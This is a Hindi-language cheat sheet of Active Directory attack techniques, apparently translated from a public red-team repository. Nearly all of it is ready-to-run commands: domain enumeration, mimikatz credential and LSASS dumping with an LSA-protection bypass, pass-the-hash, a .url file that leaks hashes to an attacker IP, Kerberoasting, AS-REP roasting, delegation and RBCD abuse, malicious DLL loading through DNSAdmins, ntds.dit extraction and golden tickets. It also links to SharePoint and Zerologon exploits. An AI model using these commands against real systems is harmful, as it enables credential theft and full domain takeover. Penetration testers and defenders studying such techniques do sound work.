
एक चीट शीट जिसमें विंडोज एक्टिव डायरेक्टरी के लिए सामान्य गणना और हमले के तरीके शामिल हैं।
यह चीट शीट विंडोज सक्रिय निर्देशिका के लिए सामान्य गणना और हमले के तरीके शामिल करती है।
ℹ️ यह रिपॉजिटरी Nikos Katsiopis और Nikos Vourdas द्वारा बनाई गई थी।
यह चीट शीट PayloadAllTheThings रिपो से प्रेरित है।

Powerview v.3.0
Powerview Wiki
वर्तमान डोमेन प्राप्त करें: Get-Domain
अन्य डोमेन गिनें: Get-Domain -Domain <DomainName>
डोमेन SID प्राप्त करें: Get-DomainSID
डोमेन नीति प्राप्त करें: ```powershell Get-DomainPolicy
#Will show us the policy configurations of the Domain about system access or kerberos Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy
डोमेन नियंत्रक प्राप्त करें: ```powershell Get-DomainController Get-DomainController -Domain
डोमेन उपयोगकर्ताओं की गणना करें: ```powershell #Save all Domain Users to a file Get-DomainUser | Out-File -FilePath .\DomainUsers.txt
#Will return specific properties of a specific user Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List
#Enumerate user logged on a machine Get-NetLoggedon -ComputerName
#Enumerate Session Information for a machine Get-NetSession -ComputerName
#Enumerate domain machines of the current/specified domain where specific users are logged into Find-DomainUserLocation -Domain | Select-Object UserName, SessionFromName
डोमेन कंप्यूटर गणना: ```powershell Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
#Enumerate Live machines Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
❗ उपयोगकर्ता शिकार के साथ डोमेन एडमिन तक विशेषाधिकार वृद्धि (प्रिव एस्क):
मेरे पास एक मशीन पर स्थानीय व्यवस्थापक पहुंच है -> एक डोमेन व्यवस्थापक उस मशीन पर एक सत्र रखता है -> मैं उसका टोकन चुराता हूं और उसका रूप धारण करता हूं -> लाभ!
वर्तमान डोमेन प्राप्त करें: Get-ADDomain
अन्य डोमेन की गणना करें: Get-ADDomain -Identity <Domain>
डोमेन SID प्राप्त करें: Get-DomainSID
डोमेन नियंत्रक प्राप्त करें: ```powershell Get-ADDomainController Get-ADDomainController -Identity
डोमेन उपयोगकर्ताओं की सूची बनाएं: ```powershell Get-ADUser -Filter * -Identity -Properties *
#Get a specific "string" on a user's attribute Get-ADUser -Filter 'Description -like "wtver"' -Properties Description | select Name, Description
डोमेन कंप्यूटरों की गणना करें: ```powershell Get-ADComputer -Filter * -Properties * Get-ADGroup -Filter *
Enum Domain Trust: ```powershell Get-ADTrust -Filter * Get-ADTrust -Identity
Enum Forest Trust: ```powershell Get-ADForest Get-ADForest -Identity
#Domains of Forest Enumeration (Get-ADForest).Domains
Enum Local AppLocker Effective Policy: ```powershell Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Python BloodHound रिपॉज़िटरी या इसे pip3 install bloodhound से इंस्टॉल करें```powershell
bloodhound-python -u -p -ns <Domain Controller's Ip> -d -c All
#### साइट पर BloodHound```powershell
#Using exe ingestor
.\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <Domain Controller's Ip> --OutputDirectory <PathToFile>
#Using PowerShell module ingestor
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --OutputDirectory <PathToFile>
./adalanche collect activedirectory --domain
--username Username@Domain --password
--server
./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb
./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389
./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389
--authmode basic
./adalanche analyze
#### गणना किए गए ऑब्जेक्ट्स निर्यात करें
आप किसी भी मॉड्यूल/ cmdlet से गणना किए गए ऑब्जेक्ट्स को बाद के विश्लेषण के लिए XML फ़ाइल में निर्यात कर सकते हैं।
`Export-Clixml` cmdlet किसी ऑब्जेक्ट या ऑब्जेक्ट्स का Common Language Infrastructure (CLI) XML-आधारित प्रतिनिधित्व बनाता है और उसे एक फ़ाइल में संग्रहीत करता है। फिर आप उस फ़ाइल की सामग्री के आधार पर सहेजे गए ऑब्जेक्ट को पुनः बनाने के लिए `Import-Clixml` cmdlet का उपयोग कर सकते हैं।```powershell
# Export Domain users to xml file.
Get-DomainUser | Export-CliXml .\DomainUsers.xml
# Later, when you want to utilise them for analysis even on any other machine.
$DomainUsers = Import-CliXml .\DomainUsers.xml
# You can now apply any condition, filters, etc.
$DomainUsers | select name
$DomainUsers | ? {$_.name -match "User's Name"}
Windows Local Privilege Escalation Cookbook Windows स्थानीय विशेषाधिकार वृद्धि के लिए कुकबुक
Juicy Potato सिस्टम प्रतिरूपण के लिए SeImpersonate या SeAssignPrimaryToken विशेषाधिकारों का दुरुपयोग
⚠️ केवल Windows Server 2016 और Windows 10 पैच 1803 तक ही काम करता है
Lovely Potato स्वचालित Juicy Potato
⚠️ केवल Windows Server 2016 और Windows 10 पैच 1803 तक ही काम करता है
PrintSpoofer सिस्टम प्रतिरूपण के लिए PrinterBug का शोषण
🙏 Windows Server 2019 और Windows 10 के लिए काम करता है
RoguePotato उन्नत Juicy Potato
🙏 Windows Server 2019 और Windows 10 के लिए काम करता है
#Enable PowerShell Remoting on current Machine (Needs Admin Access) Enable-PSRemoting
#Entering or Starting a new PSSession (Needs Admin Access) $sess = New-PSSession -ComputerName Enter-PSSession -ComputerName OR -Sessions
### दूरस्थ कोड निष्पादन PS क्रेडेंशियल्स के साथ```powershell
$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}
#Execute the command and start a session Invoke-Command -Credential $cred -ComputerName -FilePath c:\FilePath\file.ps1 -Session $sess
#Interact with the session Enter-PSSession -Session $sess
### दूरस्थ स्टेटफुल कमांड निष्पादित करना```powershell
#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>
#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}
#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}
#The commands are in cobalt strike format!
#Dump LSASS: mimikatz privilege::debug mimikatz token::elevate mimikatz sekurlsa::logonpasswords
#(Over) Pass The Hash mimikatz privilege::debug mimikatz sekurlsa::pth /user: /ntlm:<> /domain:
#List all available kerberos tickets in memory mimikatz sekurlsa::tickets
#Dump local Terminal Services credentials mimikatz sekurlsa::tspkg
#Dump and save LSASS in a file mimikatz sekurlsa::minidump c:\temp\lsass.dmp
#List cached MasterKeys mimikatz sekurlsa::dpapi
#List local Kerberos AES Keys mimikatz sekurlsa::ekeys
#Dump SAM Database mimikatz lsadump::sam
#Dump SECRETS Database mimikatz lsadump::secrets
#Inject and dump the Domain Controler's Credentials mimikatz privilege::debug mimikatz token::elevate mimikatz lsadump::lsa /inject
#Dump the Domain's Credentials without touching DC's LSASS and also remotely mimikatz lsadump::dcsync /domain: /all
#Dump old passwords and NTLM hashes of a user mimikatz lsadump::dcsync /user:<user> /history
#List and Dump local kerberos credentials mimikatz kerberos::list /dump
#Pass The Ticket mimikatz kerberos::ptt
#List TS/RDP sessions mimikatz ts::sessions
#List Vault credentials mimikatz vault::list
:exclamation: क्या होगा अगर mimikatz LSA Protection controls के कारण credentials dump करने में विफल रहता है ?
- LSA as a Protected Process (Kernel Land Bypass) ```powershell
#Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
#Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
#Now lets import the mimidriver.sys to the system
mimikatz # !+
#Now lets remove the protection flags from lsass.exe process
mimikatz # !processprotect /process:lsass.exe /remove
#Finally run the logonpasswords function to dump lsass
mimikatz # sekurlsa::logonpasswords
LSA एक संरक्षित प्रक्रिया (यूज़रलैंड "फ़ाइललेस" बाइपास) के रूप में
LSA क्रेडेंशियल गार्ड द्वारा वर्चुअलाइज्ड प्रक्रिया (LSAISO) के रूप में चल रहा है ```powershell #Check if a process called lsaiso.exe exists on the running processes tasklist |findstr lsaiso
#If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data. #Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides mimikatz # misc::memssp
#Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log
यदि जिस होस्ट पर हम पार्श्विक गति करना चाहते हैं, उसमें "RestrictedAdmin" सक्षम है, तो हम RDP प्रोटोकॉल का उपयोग करके हैश पास कर सकते हैं और सादा पाठ पासवर्ड के बिना एक इंटरैक्टिव सत्र प्राप्त कर सकते हैं।
Mimikatz: ```powershell #We execute pass-the-hash using mimikatz and spawn an instance of mstsc.exe with the "/restrictedadmin" flag privilege::debug sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin"
#Then just click ok on the RDP dialogue and enjoy an interactive session as the user we impersonated
xFreeRDP:```powershell xfreerdp +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8 /u: /pth: /v:<Hostname | IPAddress>
:exclamation: यदि रिमोट मशीन पर प्रतिबंधित व्यवस्थापक मोड अक्षम है, तो हम psexec या winrm जैसे किसी अन्य टूल/प्रोटोकॉल का उपयोग करके होस्ट से कनेक्ट कर सकते हैं और निम्न रजिस्ट्री कुंजी बनाकर तथा इसका मान शून्य सेट करके इसे सक्षम कर सकते हैं: "HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin".
- "Single Session per User" प्रतिबंध को बायपास करें
डोमेन कंप्यूटर पर, यदि आपके पास सिस्टम या स्थानीय व्यवस्थापक के रूप में कमांड निष्पादन है और आप एक RDP सत्र चाहते हैं जिसका उपयोग कोई अन्य उपयोगकर्ता पहले से कर रहा है, तो आप निम्न रजिस्ट्री कुंजी जोड़कर एकल सत्र प्रतिबंध से बच सकते हैं:```powershell
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0
जब आप वांछित कार्य पूरा कर लें, तो आप एकल-सत्र-प्रति-उपयोगकर्ता प्रतिबंध को बहाल करने के लिए कुंजी हटा सकते हैं।```powershell REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUse
### URL फ़ाइल हमले
- .url फ़ाइल ```
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\<AttackersIp>\%USERNAME%.icon
IconIndex=1
इन फ़ाइलों को एक लिखने योग्य शेयर में रखने पर पीड़ित को केवल फ़ाइल एक्सप्लोरर खोलना होता है और शेयर पर नेविगेट करना होता है। ध्यान दें कि फ़ाइल को खोलने की आवश्यकता नहीं है या उपयोगकर्ता को इसके साथ बातचीत करने की आवश्यकता नहीं है, लेकिन इसे प्रस्तुत करने के लिए या तो फ़ाइल सिस्टम के शीर्ष पर होना चाहिए या विंडोज एक्सप्लोरर विंडो में दिखाई देना चाहिए। हैश कैप्चर करने के लिए रिस्पॉन्डर का उपयोग करें।
❗ .scf फ़ाइल हमले विंडोज के नवीनतम संस्करणों पर काम नहीं करेंगे।
यह क्या है?:
सभी मानक डोमेन उपयोगकर्ता सभी सेवा खातों की एक प्रति और उनके संबंधित पासवर्ड हैश का अनुरोध कर सकते हैं, इसलिए हम किसी भी SPN के लिए TGS का अनुरोध कर सकते हैं जो 'उपयोगकर्ता' खाते से बंधा है, उपयोगकर्ता के पासवर्ड का उपयोग करके एन्क्रिप्टेड ब्लॉब को निकाल सकते हैं और ऑफ़लाइन इसे ब्रूटफोर्स कर सकते हैं।
PowerView: ```powershell #Get User Accounts that are used as Service Accounts Get-NetUser -SPN
#Get every available SPN account, request a TGS and dump its hash Invoke-Kerberoast
#Requesting the TGS for a single account: Request-SPNTicket
#Export all tickets using Mimikatz Invoke-Mimikatz -Command '"kerberos::list /export"'
AD मॉड्यूल: ```powershell #Get User Accounts that are used as Service Accounts Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Impacket: ```powershell python GetUserSPNs.py /: -outputfile
Rubeus: ```powershell #Kerberoasting and outputing on a file with a specific format Rubeus.exe kerberoast /outfile: /domain:
#Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /rc4opsec
#Kerberoast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /aes
#Kerberoast specific user account Rubeus.exe kerberoast /outfile: /domain: /user: /simple
#Kerberoast by specifying the authentication credentials Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword:
WUT IS DIS?:
यदि किसी डोमेन उपयोगकर्ता खाते को केर्बेरोस प्रीऑथेंटिकेशन की आवश्यकता नहीं है, तो हम डोमेन क्रेडेंशियल के बिना भी इस खाते के लिए एक वैध TGT का अनुरोध कर सकते हैं, एन्क्रिप्टेड ब्लॉब को निकाल सकते हैं और इसे ऑफलाइन ब्रूटफोर्स कर सकते हैं।
Get-DomainUser -PreauthNotRequired -VerboseGet-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuthएक ऐसे खाते पर जबरन केर्बेरोस प्रीऑथ को अक्षम करें जिस पर मेरे पास राइट परमिशन या उससे अधिक है! खातों पर दिलचस्प अनुमतियों की जाँच करें:
संकेत: हम एक फ़िल्टर जोड़ते हैं जैसे RDPUsers ताकि "उपयोगकर्ता खाते" प्राप्त करें, मशीन खाते नहीं, क्योंकि मशीन खाता हैश क्रैक करने योग्य नहीं होते!
PowerView:```powershell Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} Disable Kerberos Preauth: Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose Check if the value changed: Get-DomainUser -PreauthNotRequired -Verbose
- और अंत में [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast) टूल का उपयोग करके हमला निष्पादित करें। ```powershell
#Get a specific Accounts hash:
Get-ASREPHash -UserName <UserName> -Verbose
#Get any ASREPRoastable Users hashes:
Invoke-ASREPRoast -Verbose
Rubeus का उपयोग करना: ```powershell #Trying the attack for all domain users Rubeus.exe asreproast /format:<hashcat|john> /domain: /outfile:
#ASREPRoast specific user Rubeus.exe asreproast /user: /format:<hashcat|john> /domain: /outfile:
#ASREPRoast users of a specific OU (Organization Unit) Rubeus.exe asreproast /ou: /format:<hashcat|john> /domain: /outfile:
Impacket का उपयोग करते हुए: ```powershell #Trying the attack for the specified users on the file python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile
यदि हमने किसी उपयोगकर्ता खाते से समझौता करके कुछ पासवर्ड प्राप्त किए हैं, तो हम इस विधि का उपयोग करके अन्य डोमेन खातों पर पासवर्ड पुन: उपयोग का शोषण करने का प्रयास कर सकते हैं।
Tools:
यह क्या है?: यदि हमारे पास पर्याप्त अनुमतियाँ हैं -> GenericAll/GenericWrite, तो हम लक्ष्य खाते पर एक SPN सेट कर सकते हैं, एक TGS का अनुरोध कर सकते हैं, फिर उसका ब्लॉब प्राप्त करके ब्रूटफोर्स कर सकते हैं।
PowerView: ```powershell #Check for interesting permissions on accounts: Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
#Check if current user has already an SPN setted: Get-DomainUser -Identity | select serviceprincipalname
#Force set the SPN on the account: Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'}
AD मॉड्यूल: ```powershell #Check if current user has already an SPN setted Get-ADUser -Identity -Properties ServicePrincipalName | select ServicePrincipalName
#Force set the SPN on the account: Set-ADUser -Identiny -ServicePrincipalNames @{Add='ops/whatever1'}
अंत में हैश प्राप्त करने और उसे kerberoast करने के लिए पहले के किसी भी उपकरण का उपयोग करें।
यदि आपके पास किसी मशीन पर स्थानीय व्यवस्थापक पहुंच है, तो शैडो कॉपीज़ को सूचीबद्ध करने का प्रयास करें, यह डोमेन एस्केलेशन का एक आसान तरीका है।```powershell #List shadow copies using vssadmin (Needs Admnistrator Access) vssadmin list shadows
#List shadow copies using diskshadow diskshadow list shadows all
#Make a symlink to the shadow copy and access it mklink /d c:\shadowcopy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
1. आप बैकअप की गई SAM डेटाबेस को डंप कर सकते हैं और क्रेडेंशियल्स प्राप्त कर सकते हैं।
2. DPAPI में संग्रहीत क्रेडेंशियल्स खोजें और उन्हें डिक्रिप्ट करें।
3. बैकअप की गई संवेदनशील फ़ाइलों तक पहुँच प्राप्त करें।
### Mimikatz का उपयोग करके संग्रहीत क्रेडेंशियल्स की सूची बनाएं और डिक्रिप्ट करें
सामान्यतः एन्क्रिप्टेड क्रेडेंशियल्स इनमें संग्रहीत होते हैं:
- `%appdata%\Microsoft\Credentials`
- `%localappdata%\Microsoft\Credentials````powershell
#By using the cred function of mimikatz we can enumerate the cred object and get information about it:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"
#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential
#Lets enumerate the Master Key:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"
#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc
#We now have the masterkey in our local cache:
dpapi::cache
#Finally we can decrypt the credential using the cached masterkey:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"
Detailed Article: DPAPI all the things
यह क्या है?: यदि हमारे पास एक मशीन पर प्रशासनिक पहुंच है जिसमें अप्रतिबंधित प्रत्यायोजन सक्षम है, तो हम किसी उच्च-मूल्य लक्ष्य या DA के उससे कनेक्ट होने की प्रतीक्षा कर सकते हैं, उसका TGT चुरा सकते हैं, फिर ptt कर सकते हैं और उसका रूप धारण कर सकते हैं!
PowerView का उपयोग करते हुए:```powershell #Discover domain joined computers that have Unconstrained Delegation enabled Get-NetComputer -UnConstrained
#List tickets and check if a DA or some High Value target has stored its TGT Invoke-Mimikatz -Command '"sekurlsa::tickets"'
#Command to monitor any incoming sessions on our compromised server Invoke-UserHunter -ComputerName -Poll -UserName -Delay -Verbose
#Dump the tickets to disk: Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
#Impersonate the user using ptt attack: Invoke-Mimikatz -Command '"kerberos::ptt "'
**नोट:** हम Rubeus का भी उपयोग कर सकते हैं!
### Constrained Delegation
PowerView और Kekeo का उपयोग करके:```powershell
#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>
#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN>
#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'
वैकल्पिक: Rubeus का उपयोग करके:```powershell Rubeus.exe s4u /user: /rc4: /impersonateuser: /msdsspn:"<Service's SPN>" /altservice: /ptt
अब हम प्रतिरूपित उपयोगकर्ता के रूप में सेवा तक पहुँच सकते हैं!
:triangular_flag_on_post: **यदि हमारे पास केवल एक विशिष्ट SPN (जैसे TIME) के लिए प्रतिनिधिमंडल अधिकार हैं तो क्या होगा:**
इस स्थिति में हम अभी भी केर्बेरोस की एक सुविधा का दुरुपयोग कर सकते हैं जिसे "वैकल्पिक सेवा" कहा जाता है। यह हमें केवल उस सेवा के लिए नहीं, बल्कि अन्य "वैकल्पिक" सेवाओं के लिए TGS टिकट का अनुरोध करने की अनुमति देता है जिसके लिए हमारे पास अधिकार हैं। यह हमें लक्ष्य मशीन पर पूर्ण पहुँच प्रदान करते हुए, होस्ट द्वारा समर्थित किसी भी सेवा के लिए वैध टिकट का अनुरोध करने की क्षमता देता है।
### संसाधन-आधारित प्रतिबंधित प्रतिनिधिमंडल
_यह क्या है?: \
TL;DR \
यदि हमारे पास डोमेन के किसी मशीन खाता ऑब्जेक्ट पर GenericALL/GenericWrite विशेषाधिकार हैं, तो हम इसका दुरुपयोग कर सकते हैं और उस पर डोमेन के किसी भी उपयोगकर्ता के रूप में स्वयं को प्रतिरूपित कर सकते हैं। उदाहरण के लिए, हम डोमेन व्यवस्थापक का प्रतिरूपण कर सकते हैं और पूर्ण पहुँच प्राप्त कर सकते हैं।_
हम जिन उपकरणों का उपयोग करने जा रहे हैं:
- [PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon)
- [Powermad](https://github.com/Kevin-Robertson/Powermad)
- [Rubeus](https://github.com/GhostPack/Rubeus)
पहले हमें उस उपयोगकर्ता/मशीन खाते के सुरक्षा संदर्भ में प्रवेश करना होगा जिसके पास ऑब्जेक्ट पर विशेषाधिकार हैं।
यदि यह एक उपयोगकर्ता खाता है, तो हम Pass the Hash, RDP, PSCredentials आदि का उपयोग कर सकते हैं।
शोषण उदाहरण:```powershell
#Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose
#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid
#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
#After that we need to get the RC4 hash of the new machine account's password using Rubeus
Rubeus.exe hash /password:'p@ssword!'
#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt
#Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$
विस्तृत लेख:
❗ प्रतिबंधित और संसाधन-आधारित प्रतिबंधित प्रतिनिधिमंडल में, यदि हमारे पास TRUSTED_TO_AUTH_FOR_DELEGATION वाले खाते का पासवर्ड/हैश नहीं है जिसका हम दुरुपयोग करने का प्रयास कर रहे हैं, तो हम kekeo से "tgt::deleg" या rubeus से "tgtdeleg" नामक बहुत अच्छी ट्रिक का उपयोग कर सकते हैं और Kerberos को धोखा दे सकते हैं ताकि वह हमें उस खाते के लिए एक वैध TGT दे सके। फिर हम हमले को अंजाम देने के लिए खाते के हैश के बजाय टिकट का उपयोग करते हैं।```powershell #Command on Rubeus Rubeus.exe tgtdeleg /nowrap
विस्तृत लेख:
[Rubeus – Now With More Kekeo](https://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/)
### DNSAdmins का दुरुपयोग
_यह क्या है?: यदि कोई उपयोगकर्ता DNSAdmins समूह का सदस्य है, तो वह संभवतः dns.exe के विशेषाधिकारों के साथ एक मनमाना DLL लोड कर सकता है जो SYSTEM के रूप में चलता है। यदि DC DNS प्रदान करता है, तो उपयोगकर्ता अपने विशेषाधिकारों को DA तक बढ़ा सकता है। इस शोषण प्रक्रिया को काम करने के लिए DNS सेवा को पुनरारंभ करने के विशेषाधिकारों की आवश्यकता होती है।_
1. DNSAdmins समूह के सदस्यों की गणना करें:
- PowerView: `Get-NetGroupMember -GroupName "DNSAdmins"`
- AD Module: `Get-ADGroupMember -Identiny DNSAdmins`
2. एक बार जब हमें इस समूह का कोई सदस्य मिल जाता है, तो हमें उससे समझौता करने की आवश्यकता होती है (कई तरीके हैं)।
3. फिर SMB शेयर पर एक दुर्भावनापूर्ण DLL प्रदान करके और dll के उपयोग को कॉन्फ़िगर करके, हम अपने विशेषाधिकारों को बढ़ा सकते हैं: ```powershell
#Using dnscmd:
dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll
#Restart the DNS Service:
sc \\DNSServer stop dns
sc \\DNSServer start dns
यह क्या है?: यदि हम किसी उपयोगकर्ता खाते से समझौता करने में सफल होते हैं जो बैकअप ऑपरेटर्स समूह का सदस्य है, तो हम इसके SeBackupPrivilege का दुरुपयोग करके DC की वर्तमान स्थिति की एक छाया प्रतिलिपि बना सकते हैं, ntds.dit डेटाबेस फ़ाइल निकाल सकते हैं, हैश डंप कर सकते हैं और अपने विशेषाधिकारों को DA तक बढ़ा सकते हैं।
एक बार जब हमारे पास उस खाते तक पहुंच हो जाती है जिसके पास SeBackupPrivilege है, तो हम DC तक पहुंच सकते हैं और हस्ताक्षरित बाइनरी diskshadow का उपयोग करके एक छाया प्रतिलिपि बना सकते हैं: ```powershell #Create a .txt file that will contain the shadow copy process script Script ->{ set context persistent nowriters set metadata c:\windows\system32\spool\drivers\color\example.cab set verbose on begin backup add volume c: alias mydrive
create
expose %mydrive% w: end backup }
#Execute diskshadow with our script as parameter diskshadow /s script.txt
अगला, हमें शैडो कॉपी तक पहुँचने की आवश्यकता है, हमारे पास SeBackupPrivilege हो सकता है लेकिन हम सीधे ntds.dit को कॉपी-पेस्ट नहीं कर सकते, हमें एक बैकअप सॉफ्टवेयर की नकल करनी होगी और Win32 API कॉल का उपयोग करके इसे एक सुलभ फ़ोल्डर में कॉपी करना होगा। इसके लिए हम यह अद्भुत रिपॉजिटरी का उपयोग करने जा रहे हैं: ```powershell #Importing both dlls from the repo using powershell Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeUtils.dll
#Checking if the SeBackupPrivilege is enabled Get-SeBackupPrivilege
#If it isn't we enable it Set-SeBackupPrivilege
#Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:<PathToSave>\ntds.dit -Overwrite
#Dump the SYSTEM hive reg save HKLM\SYSTEM c:\temp\system.hive
smbclient.py को impacket या किसी अन्य टूल से उपयोग करते हुए हम ntds.dit और SYSTEM हाइव को अपनी लोकल मशीन पर कॉपी करते हैं।
impacket से secretsdump.py का उपयोग करें और हैश डंप करें।
psexec या अपनी पसंद के किसी अन्य टूल का उपयोग करें, PTH करें और डोमेन एडमिन एक्सेस प्राप्त करें।
यह क्या है?: यदि हम किसी फॉरेस्ट के चाइल्ड डोमेन से समझौता करने में सफल होते हैं और SID फ़िल्टरिंग सक्षम नहीं है (अधिकतर समय ऐसा ही होता है), तो हम इसका दुरुपयोग करके फॉरेस्ट के रूट डोमेन के डोमेन एडमिनिस्ट्रेटर तक विशेषाधिकार बढ़ा सकते हैं। यह केर्बेरोस TGT टिकट पर SID हिस्ट्री फ़ील्ड के कारण संभव है, जो "अतिरिक्त" सुरक्षा समूहों और विशेषाधिकारों को परिभाषित करता है।
शोषण उदाहरण:```powershell #Get the SID of the Current Domain using PowerView Get-DomainSID -Domain current.root.domain.local
#Get the SID of the Root Domain using PowerView Get-DomainSID -Domain root.domain.local
#Create the Enteprise Admins SID Format: RootDomainSID-519
#Forge "Extra" Golden Ticket using mimikatz kerberos::golden /user:Administrator /domain:current.root.domain.local /sid: /krbtgt: /sids: /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi
#Inject the ticket into memory kerberos::ptt \path\to\ticket\golden.kirbi
#List the DC of the Root Domain dir \dc.root.domain.local\C$
#Or DCsync and dump the hashes using mimikatz lsadump::dcsync /domain:root.domain.local /all
विस्तृत लेख:
- [Kerberos Golden Tickets are Now More Golden](https://adsecurity.org/?p=1640)
- [A Guide to Attacking Domain Trusts](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
### SharePoint का शोषण
- [CVE-2019-0604](https://medium.com/@gorkemkaradeniz/sharepoint-cve-2019-0604-rce-exploitation-ab3056623b7d) RCE शोषण \
[PoC](https://github.com/k8gege/CVE-2019-0604)
- [CVE-2019-1257](https://www.zerodayinitiative.com/blog/2019/9/18/cve-2019-1257-code-execution-on-microsoft-sharepoint-through-bdc-deserialization) BDC डिसीरियलाइज़ेशन के माध्यम से कोड निष्पादन
- [CVE-2020-0932](https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters) टाइपकन्वर्टर्स का उपयोग करके RCE \
[PoC](https://github.com/thezdi/PoC/tree/master/CVE-2020-0932)
### Zerologon
- [Zerologon: असत्यापित डोमेन कंट्रोलर समझौता](https://www.secura.com/whitepapers/zerologon-whitepaper): भेद्यता का व्हाइट पेपर।
- [SharpZeroLogon](https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon): Zerologon शोषण का C# कार्यान्वयन।
